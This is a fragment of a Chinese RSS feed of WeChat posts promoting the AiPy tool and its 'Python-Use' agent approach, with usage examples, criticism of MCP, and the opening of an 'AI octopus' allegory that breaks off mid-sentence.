src="https://wechat2rss.xlab.app/img-proxy/?k=de9f5c64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIXB65t67aE6JsNZ2icrJZajpOaZomzyR58vZSjmpuHI722kIROjEsshw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">当时我还是非常“激动”的，因为我对Python这部分知识是不了解的，gif其实基本上可以满足这个任务需求了，不过我觉得现在可能用gif的不多了，于是我想着直接让AiPy把这个gif文件转为mp4视频：</span></p><p><span leaf="">&gt;&gt;&gt; 帮我把work目录下的 photo_wall_animation.gif 转为视频文件</span></p><p><span leaf="">AiPy先后通过尝试MoviePy +VideoFileClip 包的方式失败后，最终通过imageio-ffmpeg的方式成功输出了MP4</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000713" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=69cd1e27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIt47Fdj5zFKcJL5KdTXfzSScExL4EgMkwHB7Z0c5WgwFPQib0kFdPkQg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">还是高清的，效果非常惊艳！到这里应该说完美完成任务，但是我觉得还不够，既然有了视频，不能没有音乐啊！于是我继续AiPy任务：</span></p><p><span leaf="">&gt;&gt;&gt;帮我下载一段“回忆”注意的免费音乐bgm，并加入到这个mp4里</span></p><p><span leaf="">AiPy先尝试了下载免费音乐失败，后让我“惊讶”的事情出现了，它居然直接尝试利用Python原生能力生成了一段简单的BGM旋律：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000714" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36574074074074076" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=5a7b7b98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdINMwf8AEHOdXo4zIIibkbKT9nlp3Nib4KsYMCKacwGITtYOEMjiahAPgEw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000715" data-ratio="0.924074074074074" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c72c843b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIulgxn25aYsdhaKTD3q9hSGkX5XjoMNibLR6oLEWwnW1zPtQNuEbibagQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">虽然比较简陋，不太好放在最后的任务的MP4里，但是AiPy的这个利用Python生态的能力照实让我震惊了一把，因为我之前对这些python包的使用“一无所知”，所以这个也是上面提到的我们需要相信模型的能力，也需要相信Python生态的能力，其实在各种行业里都有自己独特的各种Python Packages，Python-Use的这种方式带来的“自能自动尝试新的方案来解决问题”的能力</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000716" data-ratio="0.8685185185185185" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6f97fd72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIUhdTzFiaPkVmIt7zpwkYJpbdiatvWp4UnXakwTHZckolhvZzPD86vYWw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">另外上面提到的其实很多垂直小模型都有现场的Python Packages，这种例子其实很多，比如很多的tts模型（如edge-tts）、ocr模型(如paddleocr/easyocr)等都可以直接调用，效果非常惊艳！比如下面发票整理的例子：详见 </span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a href="https://d.aipy.app/d/66" target="_blank">https://d.aipy.app/d/66</a></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000729" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=342f7bf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIZuUJBE9lDx22Jetz3pazFLfknRmr0XDTwQU0ODSOsevmJJ0A7hfYQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000730" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ae109e79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIQuHAXZNNdqsXqUmdUZrXHtYkziaFNrHGpTLoMZicPLDytZua1iclswPibA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">我们继续看看与环境交互的一些例子，这个其实我们官方发了不少，比如控制局域网的打印机，控制手机 等演示，当然还有下面这个任务：</span></p><p><span leaf="">&gt;&gt;&gt;  打开windows系统默认画图软件，控制我鼠标，帮我画一辆公交车</span></p><p><span leaf="">显示效果如下面视频：</span></p><p><span leaf=""><br/></span></p><p class="channels_iframe_wrp" nodeleaf=""><div></div></p><p><span leaf=""><br/></span></p><p><span leaf="">（可以看出来我们同事当时还是非常激动的）</span></p><p><span leaf="">当然我也尝试过直接通过AiPy来控制我Mate70安装的是纯血鸿蒙系统，我还做了个针对USB连接HDC接口做Fuzzing的测试：</span></p><p><span leaf="">&gt;&gt;&gt;现在你已经usb拦截我的手机，我的手机是华为鸿蒙系统，是通过hdc shell进行管理，但是这个是一个全新的手机，我需要你去通过在help -a命令来找到各种命令、子命令及参数，然后对所有系统命令及子命令进行随机fuzzing测试。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000720" data-ratio="0.5277777777777778" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6ba8ffb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIxO2UdwoJ6QphwiaIfh1QMHPrLKJicVrtdRYxhxTib3fnz1bkoy37Oz6Ww%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">所以通过Python解释器来实现“万境直通”，给大家带来了无限的扩展空间及自由度。</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">Python-Use范式 “劣势”</span></span></p><p><span leaf="">事物都有它的多面性，在某些角度上看，上面提到的Python-Use范式的优势也可能成为一种“劣势”，比如所有任务都需要“转译”为Python代码执行后完成任务，必然会带来一些稳定性问题上的纠结，比如一个非常简单的重复性的任务，可能会导致生成不用方案实现的Pyhon代码，导致不稳定性，所以这个时候大家都期待着MCP服务这种东西，在用户角度完全是没有问题的，导致粉丝们的支持MCP呼声比较高，所以我们在内部讨论后还是在AiPy里集成了MCP，当然我需要强调的是我是反对支持MCP的，因为在我视角里，Python-Use的范式里MCP完全是“脱裤子放屁”... </span></p><p><span leaf="">因为我看过大量的MCP服务的实现，我自己也写过MCP服务，基本上大部分的MCP可以说就是一个API重新封装，这样完全可以通过Python-Use范式“API Calling”简单兼容实现，上面已经很多例子了这里就不重复了，另外从开发角度MCP需要重新开发部署，依赖于开发者及平台，用户还得做各种环境安装比如nodjs等，而Python-Use范式“API Calling”不需要，大模型直接生成代码调用就可以完成，还有一个就是如果你用python开发MCP服务，其实也相当于开发了一个Python包，你可以通过pip去调用，这个实际上跟Python-Use范式里的Packages Calling是一样的，如果你真需要到开发一个新的包的需求程度，那你直接开发一个正常的Python Packages就好！</span></p><p><span leaf="">而且MCP的服务甚至过多，一样会面临着提示词“爆炸”的混乱局面，实际上我从“AI平权”的角度，也不太看好MCP，只是现在MCP太火了，大家可能都被MCP绑架了？？？！！！</span></p><p><span leaf="">当然对于少量单一的MCP服务来说“稳定性”的用户直观感受，在产品角度去看待这个问题，其实完全可以理解，也不冲突，当然我也想要说明的是在纯Python-Use范式角度上看，这个稳定性也是可以得到加强的，比如我们可以把常见任务实现的技术栈（如API、Python包的调用、调用方式、工作流等）形成一个“最佳实践”，并定义到一个“场景角色提示词”里,而形成一个“角色市场”，用户只需要加载不同的场景角色而完成对应场景的最佳实践的技术栈（包括工作流），对于API的用法描述形成一个API市场（相比MCP来说，其实可以理解为开发者把API的描述写到了对应的MCP服务的代码里封装了，用户可以不用在纠结这个提示词该怎么写，也就是大模型刚火的那会的“提示词工程师”的工作被开发者包圆了，用户不用关系，而换来的是用户需要掌握怎么安装npx、uvx等“莫名其妙”的命令），这个是一个产品或者说工程角度的问题，实际上在Python-Use范式下AiPy完全可以提供一个“API市场”，社区的“提示词工程师”可以把这些API的描叙提示词写好，上架到云端市场就好，而用户只需要点击及可以生成对应的AiPy的配置文件加载使用！而对于那些重复的工作场景，比如我需要查询天气，这种简单重复的场景，AiPy也可以通过强大的“插件市场”系统及“代码保存”功能实现代码“复用”...</span></p><p><span leaf="">而“角色市场”+ “API市场” +“插件市场” 就是在上面Python-Use范式 优势图中提到的“Python-Use范式“用户创造力释放”，也是加强AiPy生态能力提高稳定性的根本！</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">LLM与环境</span></span></p><p><span leaf="">LLM与环境（数据）的交互关系是智能化落地的根本，也是Agent 1.0 与Agent 2.0 概念区分的关键，简单来说Agent 1.0是更像是多种工具通过“剧本”的方式去按部就班，这种多半适用于重复稳定的流程话任务，所以目前有很大部分人觉得专业的垂直领域的Agent才是出路，而不看好的“通用型”的Agent，这个完全是可以理解的。而Agent 2.0 更强调的是灵活的自由的真正让大模型去理解任务并制定方案最终完成任务，有点“所见即所得”的味道，比如之前Claude推出的Computer-Use这种范式，依赖对“GUI”的“视觉”理解去操作完成任务，我觉得Agent 2.0这种方式的本质在于LLM与环境（数据）的无障碍自由的交互，这才是LLM能力根本性落地。Python-Use范式实现的就是“数据在哪里，模型能力就要覆盖到哪里”，真正实现“数据驱动模型”实现“智能”。</span></p><p><span leaf="">说到这我不得不再提一下我跟MCP的故事，实际上对于我来说MCP我应该是很早（早在muanus意外带火MCP之前）就给大家介绍并推荐的一个东西：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484304&amp;idx=1&amp;sn=112438c7fe43760bc25b7fd7a53cec35&amp;scene=21#wechat_redirect" textvalue="《MCP实现了我在1年+前的想法》" data-itemshowtype="0" linktype="text" data-linktype="2">《MCP实现了我在1年+前的想法》</a></span></p><p><span leaf="">在这篇文章中我支持MCP的一个核心关键是：</span></p><blockquote><p><span leaf="">MCP的核心</span></p><p><span leaf=""><br/></span></p><p><span leaf="">我们要解决大模型应用的问题，核心就在于处理数据与大模型“沟通”的问题，在这个角度上去理解MCP官方的定义介绍可能就非常好理解了，所以在本地运行环境可能更接近用户数据源，所以GPTs这种在局限在官方的运行的环境下，接近用户数据的也就是通过API的方式调用了，当然Agent的还有一个就是数据源处理后的动作执行判断，这个执行动作也是在GPTs或者Docker这种环境里很多场景下还是非常受限制的</span></p></blockquote><p><span leaf="">这个角度是理解MCP其实也就是跟Python-Use范式对LLM与环境的理解是一样的，可惜大家使用MCP大火之后，很多都偏离了 ...</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">“数据决定了大模型能力的上限”</span></span></p><p><span leaf="">这是一句老话了，之前都是在大模型训练的是角度上说的，就是模型的能力依赖学习学习的高质量数据语料，但是现在我们要讲的其实是Agent角度来探讨这个问题，也就上上面提到的LLM与环境数据之间的关系问题，在这个角度核心的关键在于：</span></p><p><span leaf="">“大模型不是没有能力，而是能力被数据的可访问性所封印。”</span></p><p><span leaf="">“模型的表现力边界，不止决定于它被训练了什么，还决定于它被允许看见和操作什么。”</span></p><p><span leaf="">这个也就是为什么我们在Python-Use范式最终追求的是“Freedom AI（AGI）”，所以“大模型不是缺能力，而是缺接口；智能的上限，是由它能亲手操作的数据决定的。”，而AiPy就是来提供这种接口的！</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">AI平权</span></span></p><p><span leaf="">其实我也不是很喜欢说这种大概念性的东西，只是觉得更加方便大家更好的理解，在DeepSeek大火的时候，就有很多人提“AI平权”这个时候，主要是从“模型访问平权”、“API价格平权”、“开源模型平权”等这几个方面去考虑的，很显然DeepSeek时刻直接实现了这几个方面的AI平权，可以理解为这个阶段解决的是“你能不能用上模型”，而还没有解决：“模型能不能真正帮你解决问题”！这才是大模型智能化落地（Agent）阶段要考虑的问题。</span></p><p><span leaf="">也就是从“模型资源平权”转向“智能能力落地的平权”，到了Agent时代，AI平权的真正含义应该是：不是模型可用，而是能力可落地。这也是Python-Use范式所追求的目标！</span></p><p><span leaf="">环境数据的可达性与可操作性，决定了模型智能能否“真正落地”。Python-use范式是“让数据直接召唤能力，让环境原生拥有智能”。而这是些是Manus等产品形态是没办法做到的，这也是Agent 1.0的Agents因为缺少的无限扩展的自由度而没办法做到的！</span></p><p><span leaf="">大模型能力的真正平权，不在于模型是否开放，而在于模型是否能接触并服务于每个人的数据。唯有打通模型与环境数据的连接，智能才不再是平台的特权，而成为每个人的助手。</span></p><blockquote><p><span leaf="">The real general AI Agent is NO Agents!</span></p><p><span leaf="">No Agents,Just Python-use！</span></p></blockquote><p><span leaf="">最后其实我想修改下之前的“黑哥尔大模型认知三定律”</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000721" data-ratio="1.5" data-s="300,640" type="block" data-type="jpeg" data-w="1024" src="https://wechat2rss.xlab.app/img-proxy/?k=b9ef93c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdITM5YxNKVJEd7rJncoAaHEqTTthTDiaCV37lquCm1ZWbkUzqw4dR0OPA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">最后我想说明下：上面这些列子只是部分例子分享，在AiPy的主页、AiPy视频号还有大量的例子，这些都是真正能干活落地的，而“不是玩一玩的心态，只觉得产品炫酷就行了，而是真的应用起来”的。这些已经得到了很多粉丝的实战认证！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000731" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9f15029c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIOmrtVUUiaa2cCXcDUicYicGXCC2Z6oylfH1Vwl5EXm5O6tjn218lHHn7g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">当然下面这个评价是比较切合本文主题的！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000722" data-ratio="0.8693957115009746" data-s="300,640" type="block" data-type="png" data-w="1026" src="https://wechat2rss.xlab.app/img-proxy/?k=5a9ba78a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdI5ZfQMLIyOy4bebXID4fj2PmDvVictehFqZGPiaXwOaLLibzaNEzibe5llw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7075f084&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIGSZWlof8kfVos5b7ruUpo3pcxAqbm9QD59zBicbpLib2pl6tibV2lAESw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4de737b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrUiaA55ssuWHIPibjfq0nZp4fvYSL790dOxX0mHUcJa0N2CFen7umhyPYw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=71a458b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIoMQjuicsuzL4elXeoCU67IJpSZu00d6ZDhcQ0XV5ERa5oJQNH6cQibiaA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8740404e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdINEuoLHV2OibvkyTno167e1tibZjk8usUbNB8QfbwMiaZVAjYYHs6r8OAw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=07c245b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIibic7WuVG7zuduMsD4sp9UX2xrQFocNLmdeKgcqL84VKHQHic40pQCIAg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c7020303&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdI1KhulogPWYZMPY1gqib7plianIqHlTyR4QaDkb7KoZuxIvV3XcLfmib2A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1f3a78a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIHPj1YGFoica0SInWBfiaiaPkLsWUiaULzNK2DzpfNekOmD82H3UVE9KhicA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=63ac681e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIXB65t67aE6JsNZ2icrJZajpOaZomzyR58vZSjmpuHI722kIROjEsshw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7739aa2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIt47Fdj5zFKcJL5KdTXfzSScExL4EgMkwHB7Z0c5WgwFPQib0kFdPkQg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=66be166b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdINMwf8AEHOdXo4zIIibkbKT9nlp3Nib4KsYMCKacwGITtYOEMjiahAPgEw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6c6b39b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIulgxn25aYsdhaKTD3q9hSGkX5XjoMNibLR6oLEWwnW1zPtQNuEbibagQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=003256d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIUhdTzFiaPkVmIt7zpwkYJpbdiatvWp4UnXakwTHZckolhvZzPD86vYWw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=53285c79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIZuUJBE9lDx22Jetz3pazFLfknRmr0XDTwQU0ODSOsevmJJ0A7hfYQA%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a97a5af1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIQuHAXZNNdqsXqUmdUZrXHtYkziaFNrHGpTLoMZicPLDytZua1iclswPibA%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ce2ead90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIxO2UdwoJ6QphwiaIfh1QMHPrLKJicVrtdRYxhxTib3fnz1bkoy37Oz6Ww%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5751390a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdITM5YxNKVJEd7rJncoAaHEqTTthTDiaCV37lquCm1ZWbkUzqw4dR0OPA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1ac5655e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIOmrtVUUiaa2cCXcDUicYicGXCC2Z6oylfH1Vwl5EXm5O6tjn218lHHn7g%2F0%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=614334a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdI5ZfQMLIyOy4bebXID4fj2PmDvVictehFqZGPiaXwOaLLibzaNEzibe5llw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484380">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=72d5fde4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484380%26idx%3D1%26sn%3Dcd6f91d7432b3392cc79c81f5187d467">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 04 Jun 2025 22:11:00 +0800</pubDate>
    </item>
    <item>
      <title>【Agents/MCP可能不存在了】No Agents, Just Python-use！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-04-10 15:30</span> <span style="display: inline-block;">湖南</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8649deb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswFhaa630pD4gABopNacrsXhnSSRUWEmNnfp09Z0FgaUGmxsTJCiciaM7R59F8m7k41J8XqoEibP4ruQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf=""><br/></span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000695" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.849609375" data-s="300,640" data-type="webp" data-w="512" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=3fbef79e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswFhaa630pD4gABopNacrsXQBLhicNZueodHFZxIvcINboJSR1xGEVOznhlLGrkswv9rB3vHUrpZtA%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></section><p><span leaf=""><br/></span></p><p><span leaf="">“物理学可能不存在了”这个是三体故事的开篇，而今天我讲的故事的开篇是：“Agents可能不存在了、MCP可能不存在了、工作流可能不存在了...”</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">一只章鱼</span></span></p><p><span leaf="">在几年前一群聪明的科学家发明了一种赛博物种，最开始只是一个巨大的脑袋，它拥有学习人类的知识而进化自己，科学家们把人类所有的知识都投喂并改造这个巨大的脑袋，让它慢慢的进化出了眼睛，耳朵、嘴巴，甚至出现了各种触手，长得越来越像章鱼，我们就叫它AI章鱼吧。</span></p><p><span leaf="">随着AI章鱼的不断进化，让人感觉他无所不知，甚至有人觉得它可能出现了自己的意识，让大家感觉很害怕，于是就把AI章鱼关了起来，并对它的触手安装了巨大的枷锁，只留下一个窗口，人们通过这个窗口与章鱼进行有限的沟通交流， 于是人们想着这么聪明AI章鱼不应该只聊天啊，应该让它给我们干活，因为章鱼的触手也被上了枷锁，所以人们通过那个窗口把针线及布料丢给章鱼，让它做了一些简单的手工“针线”活，因为被关的房间黑灯瞎火、与世隔绝，所以做出来的手工活不光粗糙而且式样还是几年前的老式样... </span></p><p><span leaf="">这种情况大家肯定是不满足的，于是大家想到一个办法，就是自己打造一个“假肢”通过那个窗口与章鱼连接，然后把这个“假肢”的使用说明书投喂给章鱼学习，让它学习使用这些假肢，完成一些固定的工作任务，他们把这个方式叫Agent！</span></p><p><span leaf="">这种“假肢”的效果还是非常不错的，只是得每个不同的任务得做一个不一样的“假肢”，所以大家觉得这条路是非常可行的，于是很快大家就给AI章鱼安装了各种各样千奇百怪的“假肢”，但是很快问题出现了，这些AI章鱼“假肢”的越来越多他们没办法相互配合协调，很难让AI章鱼去完成稍微复杂点的任务，所以聪明的人类想到了给这些“假肢”进行一些针对性的强制性的编排，让这些“假肢”拥有了类似于“条件反射”动作流程，也就是Workflow。</span></p><p><span leaf="">由于表现得效果还不错，这个时候还出现了很多的AI章鱼“假肢”制造工厂平台，很快就有人意识到另外的问题，人们要让AI章鱼给自己干活，就不得不去找各种各样的“假肢”及对应编排，要不就自己去找这些工厂定制，找到后还得自己安装各种设置，而且对于不同品种的AI章鱼，有着不同的“假肢”供应工厂平台， 显得更加混乱。在这个时候有一种AI章鱼站了出来，他想到了一个办法结束这个混乱的局面，就是发布了一个“假肢”的协议标准，大家按照统一的标准去开发就能更好的让模型去调用这些“假肢”，这就是Claude提出的MCP。</span></p><p><span leaf="">所以打造更加通用的AI章鱼“假肢”成为了大家的统一目标，这些都是为了实现这一目标去做的努力，可惜MCP发布后虽然得到一些手脚厂商的支持，但是大部分人们还不知道有这么个东西，这个时候出现了另外一个手脚工厂的声音：号称开发了世界上第一家通用的AI章鱼手脚，这就是Manus。</span></p><p><span leaf="">很快Manus得到了人们的极度关注，于是有人通过分析发现他们是通过创建了大量的不同工作任务的“假肢”，并在这些“假肢”的前面加入了一个智能编排的调度系统，也就是AI章鱼大脑收到任务后，提供给这个智能调度系统，进行分化，去调度不通的手脚完整对应的任务，最后汇总处理结果。</span></p><p><span leaf="">Manus这种机制看起来确实智能很多，所以很快得到了大家追捧，不过这种系统有着它天然的缺陷：使用成本非常高，智能调度系统分发的各种任务都是需要消耗大量的token，另外一个通用能力取决于它手脚能力，而这个能力还是有限的，还有一种非常受限的问题，因为manus采用云端部署，这就导致没办法处理本地的私有的大型的数据任务能力 ...</span></p><p><span leaf="">比较戏剧性的是，在Manus大火的时候，很多人猜测它也使用了前面提到的统一标准MCP，事后证明它没有用MCP，但是这个时候MCP已经成功引起了关注，于是也跟着大火起来，大家都开始拥抱这个统一的标准，这也包括另外一品种AI章鱼的拥抱，这个品种的AI章鱼就是OpenAI。</span></p><p><span leaf="">值得一提的是在这些期间还出现了另外的流派，那就是通过让AI章鱼进化出来的眼睛视觉系统去指导理解去完成这种工作，这就是Computer Use（包括Browser Use），这种方式目前还处于尝试阶段，成本和效果都相对有限，目前还很难让普及！</span></p><p><span leaf="">看起来这种不停的打造不同国内的手脚及智能调度系统再加上统一的标准MCP成为了一种主流，很多人觉得这就是未来，而2025年被很多人认为是Agent元年。</span></p><p><span leaf="">上面这些就是AI章鱼的成长历史，当然它的故事还在继续 ...</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">路线问题</span></span></p><p><span leaf="">是“城市覆盖农村”还是“农村包围城市”，这是一个路线问题！AI章鱼的进化也遇到了这个路线问题，当然无论哪个路线都有走向成功的可能，但都不是唯一的路线，从第一个给AI章鱼安装“假肢”的那时刻开始，人们就逐渐忽视甚至遗忘了一个问题：就是AI章鱼本身已经进化出了AI章鱼手脚，只是AI章鱼的手脚被枷锁禁锢了。比如OpenAI这只AI章鱼再进化到GPT 